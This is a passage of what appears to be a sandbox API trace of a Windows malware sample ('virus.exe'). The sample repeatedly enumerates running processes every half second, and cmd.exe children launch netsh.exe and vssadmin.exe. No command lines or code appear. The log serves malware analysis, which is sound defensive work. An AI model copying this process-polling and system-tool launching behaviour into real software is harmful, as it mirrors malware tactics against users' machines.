dwFlags=0x0, szExeFile="services.exe")) returned 1 [0248.944] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0248.944] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0248.945] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.945] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.946] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.946] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.947] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.947] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0248.947] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.948] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.948] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0248.949] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0248.949] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0248.950] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0248.950] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.951] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0248.951] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0248.952] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0248.952] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0248.952] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0248.978] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0248.978] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0248.979] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0248.979] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0248.980] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0248.980] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.981] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0248.981] CloseHandle (hObject=0x1c0) returned 1 [0248.981] Sleep (dwMilliseconds=0x1f4) [0249.531] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0249.533] Process32FirstW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.534] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.534] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.534] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.535] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.535] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.535] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.536] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.536] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.536] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0249.537] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.537] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.537] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.538] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.538] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.538] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.539] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.539] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.539] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.540] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.540] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.540] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0249.541] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.541] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0249.541] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0249.542] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0249.542] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0249.542] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0249.543] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0249.543] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0249.543] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0249.544] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0249.544] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0249.544] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.545] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0249.545] CloseHandle (hObject=0x1c4) returned 1 [0249.545] Sleep (dwMilliseconds=0x1f4) [0250.065] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0250.068] Process32FirstW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.068] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.068] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0250.069] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.069] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0250.070] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.070] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0250.071] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0250.071] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0250.071] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0250.072] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.072] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.073] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.073] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.074] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.074] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0250.074] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.075] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.075] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0250.076] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, 